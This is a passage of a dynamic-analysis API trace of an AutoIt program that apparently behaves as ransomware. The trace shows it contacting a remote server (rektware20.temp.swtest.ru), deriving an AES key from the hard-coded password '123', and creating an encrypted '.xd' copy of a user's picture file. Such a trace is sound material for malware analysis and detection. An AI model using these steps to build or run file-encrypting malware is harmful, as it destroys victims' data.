lpString2=".xd", cchCount2=3) returned 3 [0062.648] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="1UIs.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.648] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="UIs.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.648] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Is.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.648] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.648] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 1 [0062.648] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.648] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0062.648] CharUpperBuffW (in: lpsz="CRYPT", cchLength=0x5 | out: lpsz="CRYPT") returned 0x5 [0062.648] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0062.648] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0062.648] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130edc8 | out: lpUrlComponents=0x130edc8) returned 1 [0062.648] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0062.648] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ee10, dwBufferLength=0x8) returned 1 [0062.648] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x0, lpdwBufferLength=0x130ee1c) returned 0 [0062.649] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1620eb0, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x1620eb0, lpdwBufferLength=0x130ee1c) returned 1 [0062.649] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0062.649] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0062.649] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0062.649] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130edd0, lpdwBufferLength=0x130edc8, lpdwIndex=0x130edcc*=0x0 | out: lpBuffer=0x130edd0*, lpdwBufferLength=0x130edc8*=0x4, lpdwIndex=0x130edcc*=0x0) returned 1 [0062.649] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130edec, lpdwBufferLength=0x130ee18, lpdwIndex=0x130ee1c*=0x0 | out: lpBuffer=0x130edec*, lpdwBufferLength=0x130ee18*=0x2, lpdwIndex=0x130ee1c*=0x1) returned 1 [0062.649] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130edcc, dwFlags=0x0, dwContext=0x0) returned 1 [0062.649] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629270, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x1629270*, lpdwNumberOfBytesRead=0x130edd0*=0x2) returned 1 [0062.649] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x16294c0, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x16294c0*, lpdwNumberOfBytesRead=0x130edd0*=0x0) returned 1 [0062.650] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0062.650] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0062.650] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0062.650] CloseHandle (hObject=0x0) returned 0 [0062.650] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0062.650] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\m5vKxqSGgaoDjGIW7\\J4pDjIZM\\rj2WJ4kFGpb1UIs.jpg", lpFindFileData=0x130ebb0 | out: lpFindFileData=0x130ebb0) returned 0x164cb30 [0062.650] FindClose (in: hFindFile=0x164cb30 | out: hFindFile=0x164cb30) returned 1 [0062.650] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0062.650] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0062.650] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0062.651] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0062.651] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0062.651] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0062.651] LoadLibraryW (lpLibFileName="Advapi32.dll") returned 0x74c60000 [0062.651] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0062.651] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0062.651] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0062.651] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0062.651] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0062.651] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0062.651] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0062.651] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0062.651] PeekMessageW (in: lpMsg=0x130e8bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e8bc) returned 0 [0062.651] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0062.651] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0062.651] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x164df90, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContext", lpUsedDefaultChar=0x0) returned 20 [0062.652] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContext") returned 0x0 [0062.652] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0062.652] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x164e050, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContextA", lpUsedDefaultChar=0x0) returned 21 [0062.652] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContextA") returned 0x74c80c00 [0062.652] CryptAcquireContextA (in: phProv=0x130e890, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x130e890*=0x17aa3c8) returned 1 [0062.652] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0062.653] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0062.653] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0062.653] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0062.653] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0062.653] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0062.653] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0062.653] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0062.653] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0062.653] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0062.653] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0062.653] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0062.653] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0062.653] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0062.653] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0062.653] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0062.653] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.653] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.653] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0062.653] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0062.653] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0062.653] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0062.654] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0062.654] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0062.654] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0062.654] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0062.654] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0062.654] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0062.654] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.654] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.654] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0062.654] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0062.654] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0062.654] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0062.654] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0062.654] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0062.654] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x16214f8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptCreateHash", lpUsedDefaultChar=0x0) returned 16 [0062.654] GetProcAddress (hModule=0x74c60000, lpProcName="CryptCreateHash") returned 0x74c7f930 [0062.654] CryptCreateHash (in: hProv=0x17aa3c8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x130e600 | out: phHash=0x130e600) returned 1 [0062.655] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.655] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.655] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.655] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.655] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0062.655] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x1629460, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0062.655] CharLowerBuffW (in: lpsz="byte[3]", cchLength=0x7 | out: lpsz="byte[3]") returned 0x7 [0062.655] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.655] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0062.655] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x16293d0, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0062.655] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.655] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0062.655] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0062.655] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0062.655] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0062.655] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x1621648, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptHashData", lpUsedDefaultChar=0x0) returned 14 [0062.655] GetProcAddress (hModule=0x74c60000, lpProcName="CryptHashData") returned 0x74c7f950 [0062.656] CryptHashData (hHash=0x164c530, pbData=0x1629510, dwDataLen=0x3, dwFlags=0x1) returned 1 [0062.656] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.656] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.656] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.656] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0062.656] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0062.656] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0062.656] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0062.656] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0062.656] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0062.656] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x1621678, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDeriveKey", lpUsedDefaultChar=0x0) returned 15 [0062.656] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDeriveKey") returned 0x74c95b70 [0062.656] CryptDeriveKey (in: hProv=0x17aa3c8, Algid=0x6610, hBaseData=0x164c530, dwFlags=0x1, phKey=0x130e600 | out: phKey=0x130e600*=0x164c670) returned 1 [0062.656] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.656] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.656] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.656] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.656] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.657] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0062.657] PeekMessageW (in: lpMsg=0x130e73c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e73c) returned 0 [0062.657] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0062.657] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0062.657] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x164e1b0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyHash", lpUsedDefaultChar=0x0) returned 17 [0062.657] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyHash") returned 0x74c7fbf0 [0062.657] CryptDestroyHash (hHash=0x164c530) returned 1 [0062.657] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.657] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0062.657] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0062.657] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0062.657] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0062.657] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\m5vKxqSGgaoDjGIW7\\J4pDjIZM\\rj2WJ4kFGpb1UIs.jpg" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\m5vkxqsggaodjgiw7\\j4pdjizm\\rj2wj4kfgpb1uis.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2ac [0062.657] SetFilePointerEx (in: hFile=0x2ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0062.658] SetFilePointerEx (in: hFile=0x2ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed38 | out: lpNewFilePointer=0x0) returned 1 [0062.658] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0062.658] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0062.658] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0062.658] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\m5vKxqSGgaoDjGIW7\\J4pDjIZM\\" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\m5vkxqsggaodjgiw7\\j4pdjizm")) returned 0x10 [0062.658] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\m5vKxqSGgaoDjGIW7\\J4pDjIZM\\rj2WJ4kFGpb1UIs.jpg.xd" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\m5vkxqsggaodjgiw7\\j4pdjizm\\rj2wj4kfgpb1uis.jpg.xd"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3bc [0062.658] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0062.658] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0062.658] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 